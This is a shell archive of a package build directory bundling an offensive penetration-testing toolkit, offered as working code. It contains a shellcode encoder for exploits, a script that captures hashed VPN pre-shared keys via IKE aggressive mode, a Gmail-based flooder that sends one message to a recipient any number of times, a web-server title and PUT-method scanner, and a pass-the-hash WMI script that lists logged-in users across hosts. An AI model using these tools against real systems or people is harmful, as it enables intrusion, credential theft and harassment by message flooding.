/dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/mann mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/mann > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man4 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat9 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat3 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat4 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man3 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man9 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/catn mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/catn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/man7 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/man7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/de.ISO8859-1/cat7 mkdir -p ismtp/work/stage/usr/local/man/de.ISO8859-1/cat7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/catn mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/catn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man9 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man3 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat4 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat3 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat9 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man4 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/mann mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/mann > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat7 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man7 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat8 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat2 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man5 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man2 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man8 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat5 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/manl mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/manl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man6 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat1 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/cat6 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/cat6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/man1 mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/man1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/ru.KOI8-R/catl mkdir -p ismtp/work/stage/usr/local/man/ru.KOI8-R/catl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/catn mkdir -p ismtp/work/stage/usr/local/man/catn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man3 mkdir -p ismtp/work/stage/usr/local/man/man3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man9 mkdir -p ismtp/work/stage/usr/local/man/man9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat4 mkdir -p ismtp/work/stage/usr/local/man/cat4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat9 mkdir -p ismtp/work/stage/usr/local/man/cat9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat3 mkdir -p ismtp/work/stage/usr/local/man/cat3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man4 mkdir -p ismtp/work/stage/usr/local/man/man4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/mann mkdir -p ismtp/work/stage/usr/local/man/mann > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/manl mkdir -p ismtp/work/stage/usr/local/man/manl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat6 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat1 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat5 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat2 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat8 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat8/i386 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat8/i386 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat7 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat7 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat1aout mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat1aout > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat9 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat9 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat9/i386 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat9/i386 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat3 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat3 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat4 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat4 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/cat4/i386 mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/cat4/i386 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/en.ISO8859-1/catn mkdir -p ismtp/work/stage/usr/local/man/en.ISO8859-1/catn > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man6 mkdir -p ismtp/work/stage/usr/local/man/man6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat1 mkdir -p ismtp/work/stage/usr/local/man/cat1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat6 mkdir -p ismtp/work/stage/usr/local/man/cat6 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man1 mkdir -p ismtp/work/stage/usr/local/man/man1 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/catl mkdir -p ismtp/work/stage/usr/local/man/catl > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat2 mkdir -p ismtp/work/stage/usr/local/man/cat2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat8 mkdir -p ismtp/work/stage/usr/local/man/cat8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man5 mkdir -p ismtp/work/stage/usr/local/man/man5 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man8 mkdir -p ismtp/work/stage/usr/local/man/man8 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/man2 mkdir -p ismtp/work/stage/usr/local/man/man2 > /dev/null 2>&1 echo c - ismtp/work/stage/usr/local/man/cat5 mkdir -p ismtp/work/stage/usr/local/man/cat5 > /dev/null 2>&1 echo x - ismtp/work/.license_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.license_done.ismtp._usr_local << 'a18e83a0488b00e91474dedf7b04c16d' a18e83a0488b00e91474dedf7b04c16d echo x - ismtp/work/.PLIST.mktmp sed 's/^X//' >ismtp/work/.PLIST.mktmp << '7199db1148707c56a0a25ba43445145d' Xbin/ismtp X/usr/local/share/licenses/ismtp-1.5/catalog.mk X/usr/local/share/licenses/ismtp-1.5/LICENSE X/usr/local/share/licenses/ismtp-1.5/MIT 7199db1148707c56a0a25ba43445145d echo x - ismtp/work/.build_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.build_done.ismtp._usr_local << '9271556548319d9a9736d553daf4851f' 9271556548319d9a9736d553daf4851f echo x - ismtp/work/.extract_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.extract_done.ismtp._usr_local << '9084368aff4381e0f04f676ba0768ae9' 9084368aff4381e0f04f676ba0768ae9 echo x - ismtp/work/MIT sed 's/^X//' >ismtp/work/MIT << '07bf912f9fd399f5e03ad1c089fe7bf0' XThe license: MIT (MIT license / X11 license) is standard, please Xread from the web. 07bf912f9fd399f5e03ad1c089fe7bf0 echo x - ismtp/work/.PLIST.readelf sed 's/^X//' >ismtp/work/.PLIST.readelf << 'e7ab703969c32c1782739445ce8cecbf' X XFile: /usr/local/bin/ismtp X XFile: /usr/local/share/licenses/ismtp-1.5/catalog.mk X XFile: /usr/local/share/licenses/ismtp-1.5/LICENSE X XFile: /usr/local/share/licenses/ismtp-1.5/MIT e7ab703969c32c1782739445ce8cecbf echo x - ismtp/work/.patch_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.patch_done.ismtp._usr_local << '997ea5cf9e16cc99bdd6a5df0e607c3a' 997ea5cf9e16cc99bdd6a5df0e607c3a echo x - ismtp/work/.PLIST.writable sed 's/^X//' >ismtp/work/.PLIST.writable << '143866ea53b91a96ff793f3b55333512' 143866ea53b91a96ff793f3b55333512 echo x - ismtp/work/.license-catalog.mk sed 's/^X//' >ismtp/work/.license-catalog.mk << '4cf1d943a4e92bc3b76167df9f0bf64b' X_LICENSE=MIT X_LICENSE_NAME=MIT license / X11 license X_LICENSE_PERMS=dist-mirror dist-sell pkg-mirror pkg-sell auto-accept X_LICENSE_GROUPS=COPYFREE FSF GPL OSI X_LICENSE_DISTFILES=altjx-ipwn-v1.5-32bbc05_GH0.tar.gz 4cf1d943a4e92bc3b76167df9f0bf64b echo x - ismtp/work/.PLIST.setuid sed 's/^X//' >ismtp/work/.PLIST.setuid << 'c38471ba4712a26b73e716ca8e5b4340' c38471ba4712a26b73e716ca8e5b4340 echo x - ismtp/work/.configure_done.ismtp._usr_local sed 's/^X//' >ismtp/work/.configure_done.ismtp._usr_local << 'b838807cb452d7e68f610b16838bed0e' b838807cb452d7e68f610b16838bed0e echo x - ismtp/work/.license-report sed 's/^X//' >ismtp/work/.license-report << '6e444295e8ec4ac925f5443c379c4fc9' XThis package has a single license: MIT (MIT license / X11 license). 6e444295e8ec4ac925f5443c379c4fc9 echo c - ismtp/work/ipwn-32bbc05 mkdir -p ismtp/work/ipwn-32bbc05 > /dev/null 2>&1 echo x - ismtp/work/ipwn-32bbc05/eax_sub_encoder.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/eax_sub_encoder.py << 'd72e62953e246a94495ecc500cb2759a' X#!/usr/bin/python X# X# The following Python code will take shellcode (buf variable) X# and create SUB instructions that will generate shellcode four X# bytes at a time and push them to the stack. X# X# The trick with this code is that EAX needs to be zeroed out before X# each new set of SUB instructions. Also, the stack needs to be X# aligned to be where you can execute the pushed instructions. All of X# this is left to the reader. X# X# Author: Absane (blog.noobroot.comu) X# Modified by: Alton Johnson (alton.jx@gmail.com) X# X# Last Updated: March 12, 2015 (by Alton Johnson) X# X Ximport sys, os, getopt Xfrom random import choice Xfrom sys import argv X Xtotal_length = 0 X### CHARACTERS THAT ARE ALLOWED ### X Xcode = '' Xgoodchars = [] X X# Add all characters to the "good character" list. Replaced with -g Xfor i in range(0, 256): X goodchars.append(format(i, "#04x").replace("0x", "")) X Xdef compl(hexvalue): X return int("FFFFFFFF",16) - int(hexvalue,16)+1 X Xdef findvalues(code, carry, last): X total = 9999999999 X wastetime = 99999 X while (total != int(code,16)): X a = choice(goodchars) X b = choice(goodchars) X c = choice(goodchars) X total = int(a,16) + int(b,16) + int(c,16)+carry X if (( total - 256 == int(code,16) ) and (last != 1) & wastetime < 1): X return (a,b,c,1) X wastetime += -1 X return (a,b,c,0) X Xdef encode(x): X global code, total_length X y = x X endian = (y[6] + y[7]) + (y[4] + y[5]) + (y[2] + y[3]) + (y[0] + y[1]) X twocompl = compl(endian) X k = str(hex(twocompl))[2:99].strip("L") X k = "0" * ( 8 - len(k) ) + k X X first = k[0:2] X second= k[2:4] X third = k[4:6] X fourth= k[6:8] X X a = findvalues(fourth,0,0) X b = findvalues(third,a[3],0) X c = findvalues(second,b[3],0) X d = findvalues(first,c[3],1) X X output = '' X final = '' X plain = [] X for i in range(0,3): X for k in (a,b,c,d): X output += "\\x" + k[i] X plain.append(k[i]) X final += '\n\"\\x2d' + output + "\"" X total_length += (len(output)/4+1) X final += "\t# SUB EAX," + plain[3] + plain[2] + plain[1] + plain[0] X output = '' X plain = [] X X code += "\n# Encoded: " + x X code += "\n\"" + r"\x25\x41\x41\x41\x41" + "\"\t# SUB EAX,41414141" X code += "\n\"" + r"\x25\x3E\x3E\x3E\x3E" + "\"\t# SUB EAX,3E3E3E3E" X code += final X code += "\n\"" + r"\x50" + "\"\t\t\t# PUSH EAX\n" X total_length += 11 X Xdef main(shell): X global total_length X k = shell X while ( len(k)/2 % 4 != 0): X k += '90' X total_length += 1 X X z = '' X line = '' X rshell = [] X for i in range(0, len(k), 8): X for j in range(0,8): X z += k[i + j] X line = z + line X rshell = [line] + rshell X line = '' X z = '' X for i in rshell: X encode(i) X Xdef help(): X print "\n Usage: %s " % argv[0] X print "\n -s \tEncode bytes from stdin (\\x00 format)." X print " -f \tEncodes shellcode from a file (\\x00 format)." X print " -g \tOptional parameter that restricts encoder to goodbytes. (\\x00 format)." X print "\n Usage example: %s -s \"\\x75\\xE7\\xFF\\xE7\"" % argv[0] X print " Usage example: %s -f shellcode.txt -g good_chars.txt\n" % argv[0] X exit() X Xdef start(argv): X global code X global goodchars X if len(argv) < 1: X help() X try: X opts, args = getopt.getopt(argv, "f:s:g:") X except getopt.GetoptError, err: X print "\n Error: %s" % err X help() X X for opt, arg in opts: X if opt == "-s": X buf = arg X buf = buf.replace("\\x","").replace("x","") X elif opt == "-g": X good_file = open(arg).read().replace("\n", "").replace("\\x", "").replace("\"", "") X goodchars = [good_file[i:i+2] for i in range(0, len(good_file), 2)][:-1] X elif opt == "-f": X try: X buf = open(arg).read().replace("\\x","").replace("\n","").replace("\"","") X except Exception, err: X print "\n Error: %s" % err X exit() X X main(buf) X code = code[:-1] X print "\nencoded_shellcode = (", code + "\n)" X Xif __name__ == "__main__": X try: X start(argv[1:]) X print "\nTotal length in bytes: " + str(total_length) + "\n" X except Exception, err: X print "\n Error: %s" % err X except KeyboardInterrupt: X print "\nExiting per user's request (ctrl-c)" X exit() d72e62953e246a94495ecc500cb2759a echo x - ismtp/work/ipwn-32bbc05/LICENSE.md sed 's/^X//' >ismtp/work/ipwn-32bbc05/LICENSE.md << 'ab76d095cb6b2d90129fc3cb6ce2a885' XThe MIT License (MIT) X XCopyright (c) 2015 altjx X XPermission is hereby granted, free of charge, to any person obtaining a copy Xof this software and associated documentation files (the "Software"), to deal Xin the Software without restriction, including without limitation the rights Xto use, copy, modify, merge, publish, distribute, sublicense, and/or sell Xcopies of the Software, and to permit persons to whom the Software is Xfurnished to do so, subject to the following conditions: X XThe above copyright notice and this permission notice shall be included in all Xcopies or substantial portions of the Software. X XTHE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR XIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, XFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE XAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER XLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, XOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE XSOFTWARE.ab76d095cb6b2d90129fc3cb6ce2a885 echo x - ismtp/work/ipwn-32bbc05/ike-aggressive-scanner.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/ike-aggressive-scanner.rb << '36311d345a28a031641b0250c77ed5cc' X#!/usr/bin/env ruby X X# X# This script simply scans a list of systems to determine if IKE Aggressive Mode X# is supported. If so, it writes the hashed PSK value to a file. X# X# I simply stumbled upon like 20 systems with port 500/UDP opened, and didn't feel X# like doing it manually, so that's where this came from. X# X# Author: Alton Johnson X# Contact: alton.jx@gmail.com X# Date: 06/29/2015 X# X Xbegin X require 'terminal-table' X require 'getopt/std' Xrescue X puts "It appears that you may be missing some prerequisites for this script." X puts "Run the following commands:" X puts "\t\t gem install terminal-table" X puts "\t\t gem install getopt/std" Xend X X@banner = %Q{ X -------------------------------------------------------------------- X IKE Aggressive Mode Scanner - Alton Johnson (alton.jx@gmail.com) X -------------------------------------------------------------------- X X} X Xdef help X puts @banner X X puts " Usage: #{$0} -f vpn_gateways.txt\n\n" X puts " -f \t Specifies file containing IP addresses for scanning." X puts X exit Xend X Xdef start_scanning(filename) X ips = File.open(filename).read.split X X results = [] X X # Use ike-scan on all IP addresses in file. X ips.each do |ip| X if `ike-scan #{ip} -A --id=test -Pike-aggressive-mode-#{ip}.txt`.include? "Aggressive Mode" X results << [ip, "\e[34;1mAggressive Mode supported\e[00;0m", "ike-aggressive-mode-#{ip}.txt"] X else X results << [ip, 'Not supported', 'n/a'] X end X end X X # Stdout. X table = Terminal::Table.new :title => "IKE Aggressive Mode Scanner - Alton Johnson (alton.jx@gmail.com)", X :headings => ['IP Address','Status', 'Saved file to'], :rows => results X X puts table Xend X Xif $0 == __FILE__ X X if ARGV.length == 0 X help X end X X opt = Getopt::Std.getopts('f:') X X fail "You must specify a file with -f. If you only have one host, just use ike-scan :)" unless opt['f'] X X start_scanning(opt['f']) X Xend 36311d345a28a031641b0250c77ed5cc echo x - ismtp/work/ipwn-32bbc05/smsspam.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/smsspam.py << '29b94260a63bd47a0f7e82dae7d6b1fc' X#!/usr/bin/env python X Ximport smtplib Ximport string Ximport sys Ximport getopt X XhelpMessages = [ X '-r: Recipient to send an email to.', X '-u: Gmail username (include @gmail.com)', X '-p: Password to login to gmail with.', X '-m: Message to send to user.', X '-s: Subject for the email.', X '-n: How many times you want to send this email.' X] X Xclass bcolors: X OKBLUE = '\033[1;34m' X ENDC = '\033[0m' X X def disable(self): X self.OKBLUE = '' X self.ENDC = '' X Xprint '\n' + '=' * 51 Xprint bcolors.OKBLUE + ' SMSpam v1.0 created by Alton (alton.jx@gmail.com)' + bcolors.ENDC Xprint '=' * 51 + '\n' X Xdef usage(): X space = '\t' * 2 X for msg in helpMessages: X print space + msg X print '\n' # Newline after all of the messages X Xdef start(argv): X if len(sys.argv) < 4: X usage() X sys.exit() X try: X opts, args = getopt.getopt(argv, "r:p:u:s:m:n:") X except getopt.GetoptError: X usage() X sys.exit() X for opt, arg in opts: X if opt == '-r': X rcpt = arg X elif opt == '-u': X username = arg X elif opt == '-m': X content = arg X elif opt == '-s': X subject = arg X elif opt == '-p': X passwd = arg X elif opt == '-n': X counts = int(arg) X try: X attempts = 0 X smtpserver = smtplib.SMTP('smtp.gmail.com',587) X smtpserver.ehlo() X smtpserver.starttls() X smtpserver.ehlo() X smtpserver.login(username, passwd) X header = "To: " + rcpt + '\n' + 'From: ' + username + '\n' + 'Subject: ' + subject + '\n\n' X msg = header + content X print msg + '\n' X while attempts != counts: X smtpserver.sendmail(username, rcpt, msg) X attempts+=1 X print bcolors.OKBLUE + 'Successfully sent message: ' + str(attempts) X smtpserver.close() X except Exception, err: X print err X Xif __name__ == '__main__': X try: X start(sys.argv[1:]) X except: X sys.exit() 29b94260a63bd47a0f7e82dae7d6b1fc echo x - ismtp/work/ipwn-32bbc05/iWebAudit.py sed 's/^X//' >ismtp/work/ipwn-32bbc05/iWebAudit.py << 'cbef5a9de012ab1e9a492e7443d1a704' X#!/usr/bin/env python X# X# This program automates the process of auditing web servers on internal X# penetration tests. As opposed to opening numerous sites manually to view what they're X# hosting, you can use this script to grab the HTTP titles from every page. X# After you're done, you can easily prioritize what you want to start looking X# at first starting from a nice, formatted list of IPs and page titles X# X# Author: Alton Johnson (alton.jx@gmail.com) X# Updated: 01/23/2014 X# X# Note: Many thanks to Victor M. and Mark T. for assistance X# X# Future consideration: HTTP Put Method Detection [completed]; auto-update attempt via wiki X# X Xfrom sys import argv Ximport urllib2 Ximport getopt Ximport time Ximport httplib Ximport socket X Xcontainer = list() Xspaces = [0,0,0] X X# Defines the colors which can be called later. Can identify colors using echo -e "\033[x;nnm" X# from terminal. x = 1 (bold) or 0 (non-bold). n = numbers from 01 = 99 (must be two digits). Xclass colors: X lightblue = '\033[1;36m' X blue = '\033[1;34m' X normal = '\033[0;00m' X red = '\033[1;31m' X white = '\033[1;37m' X X# Prints out the help function, which guides users how to use the script. Xdef help(): X print "\n", "-" * 78 X print colors.white, "iWebAudit v1.5 - Web Page Title Analyzer, Alton Johnson (alton.jx@gmail.com) ", colors.normal X print "-" * 78, "\n" X print " Usage: iWebAudit -f -o -v -h -t 5\n" X print "\t-f \tSupports list of IPs and/or http[s]:// formatted IPs." X print "\t-o \tOutputs the results to a file of your choice." X print "\t-h \t\tEnables HTTP PUT Method Discovery. (optional)" X print "\t-t \tSets default timeout. Default is 5. (optional)" X print "\t-v \t\tDisplays details as script runs. (optional)\n" X X# Takes the response (html source) from http_request and parses it for title Xdef FindTitle(source): X source = source.replace("\n", "").replace("\r", "").replace("\t", "").split("<") X for i in range(0,len(source)): X if 'title>' in source[i].lower(): X if not (source[i][source[i].lower().find("title>")+6:]): X return "-" X else: X return source[i][source[i].lower().find('title>')+6:] X break X elif 'title ' in source[i].lower(): # alt for code such as " in parsed_title: X return parsed_title X break X return "-" X Xdef http_method(url): X if 'http://' in url: X url = url[url.find("http://")+7:] X elif 'https://' in url: X url = url[url.find("https://")+8:] X connection = httplib.HTTPConnection(url) X connection.request('OPTIONS','/') X response = connection.getresponse() X http_parse = response.getheader('allow') X if http_parse: X if "PUT" in http_parse: X return "PUT" X else: X return "-" X else: X return "-" X X# Checks to see what format the current line is in and connects accordingly Xdef http_request(request): X if 'http://' in request: X request = urllib2.Request(request) # construct rqst X elif 'https://' in request: X request = urllib2.Request(request) # construct rqst X else: X request = urllib2.Request('http://%s' %request) # construct rqst X X request.add_header('User-Agent','Lewlsauce, Inc.') X try: X response = urllib2.urlopen(request) X return response.read() X except urllib2.URLError, err: X return "-" X except urllib2.HTTPError, err: X return "-" X except Exception, err: X return "-" X X# Takes argv (everything provided after the program name) and passes it to this function. Xdef start(argv): X if len(argv) < 2: X help() X exit() X try: X opts, args = getopt.getopt(argv, 'vhf:o:t:') #colons are needed if option is req'd. X except getopt.GetoptError: X help() X exit() X # Define default variables so script doesn't fail if "if" statements aren't true. X use_https = False X output_file = "" X verbose = False X length = 0 X httpmethod = False X cur_time = time.time() X timeout = 5 X socket.setdefaulttimeout(timeout) X # Check which options and agruments have been provided to CLI. X for opt, arg in opts: X if opt == '-f': X http_file = open(arg) X elif opt == '-o': X output_file = open(arg, 'w') X elif opt == '-v': X verbose = True X elif opt == '-h': X httpmethod = True X elif opt == '-t': X socket.setdefaulttimeout(float(arg)) X file_contents = http_file.read().split() # Converted to list; assigned to variable. X X # setting the space for the first column; used for verbose mode X for line in file_contents: X if len(line) > spaces[0]: X spaces[0] = len(line) X spaces[0] += 3 X X # grabbing titles, adding to container, and outputting (if verbose is enabled) X for site in file_contents: X try: X title = FindTitle(http_request(site)) # pass http_request data to FindTitle function X if httpmethod: X method = http_method(site) X else: X method = False X container.append([site,method,title]) X if output_file != "": X if method: X output_file.write("%s%s%s%s\n" % (site," " * (spaces[0]-len(site)),method + " " * (6 - len(method)),title)) X else: X output_file.write("%s%s%s\n" % (site, " " * (spaces[0]-len(site)),title)) X if verbose: X output(verbose,site,method,title) X except Exception, err: X print err X X #adds the necessary space lengths for each field X if method: X for i in container: X i[1] = i[1] + " " X for num in range(0,len(spaces)): X if len(i[num]) > spaces[num]: X spaces[num] = len(i[num]) X else: X for i in container: X i[1] = '' X for num in range(0,len(spaces)): X if len(i[num]) > spaces[num]: X spaces[num] = len(i[num]) X if not verbose: X output(verbose) X print "-" * 5 X print "Completed in: %.1fs" % (time.time() - cur_time) X X# this determines whether to print status line after line (verbose), or wait until file is finished Xdef output(verbose,site='',httpmethod='',title=''): X if not verbose: X if not httpmethod: X httpmethod = ' ' X for i in container: X for num in range(0,len(i)): X print i[num] + " " * (spaces[num]-len(i[num])), X print X else: X site = site + " " * (spaces[0]-len(site)) X title = " " + title X if httpmethod: X httpmethod = httpmethod + " " * (5 - len(httpmethod)) X print site + httpmethod + title X else: X print site + title X Xif __name__ == "__main__": X try: X start(argv[1:]) X except KeyboardInterrupt: X print "\nClosed by user. Now exiting... (ctrl+c)" X exit() cbef5a9de012ab1e9a492e7443d1a704 echo x - ismtp/work/ipwn-32bbc05/wmi_loggedin_users.rb sed 's/^X//' >ismtp/work/ipwn-32bbc05/wmi_loggedin_users.rb << '20317483d662c04e7aeba66d13543167' X#!/usr/bin/ruby X Xbegin X require 'terminal-table' X require 'getopt/std' Xrescue Exception => e X puts "\n Error loading required gems." X puts " Install required gems using the following commands:\n X gem install terminal-table\n\tgem install getopt\n\n" X exit Xend X Xdef help_menu X puts %Q{ X --------------------------------------------------------------------------- X Logged In User Enumerator (via WMIC) - Alton Johnson (alton.jx@gmail.com) X --------------------------------------------------------------------------- X X Usage: #{$0} -f <file> -d <domain> -u <username> -p <password> X X \t-f\tFile containing IP addresses to scan. X \t-d\tDomain used for the valid account. X \t-u\tAdministrator account that will be used for logging in. X \t-p\tPassword for the administrator account. X } X exit Xend X Xdef start(filename, domain, username, password) X iplist = File.open(filename,'r').read.split X X # Extract logged in users via WMIC. X table = Terminal::Table.new do |t| X t << ["IP Address","Domain", "Username"] X t.add_separator X X iplist.each do |ip| X separate = 0 X users = [] X excluded_users = ["SYSTEM","IUSR"] X X # Prints status. X puts " [*] Extracting users from #{ip}" X X data = `pth-wmic -U #{domain}/#{username}%#{password} //#{ip} "select * from Win32_LoggedOnUser"`.split X for row in data X user_domain = row.scan(/Domain="(.*?)"/im)[0] X user = row.scan(/Name="(.*?)"/im)[0] X unless user_domain.nil? or user.nil? X t << [ip, user_domain[0], user[0]] unless users.include? user or excluded_users.include? user[0] X users << user X separate = 1 X end X end X t.add_separator unless separate == 0 or ip == iplist[-1] X end X end X puts X puts table Xend X Xif $0 == __FILE__ X if ARGV.length == 0 X help_menu X end X X opt = Getopt::Std.getopts("f:u:p:d:") X X fail "One or more required options are missing." unless opt["f"] or opt["u"] or opt["d"] or opt["p"] X begin X start(opt["f"], opt["d"], opt["u"], opt["p"]) X rescue Exception => e X puts e X end X Xend 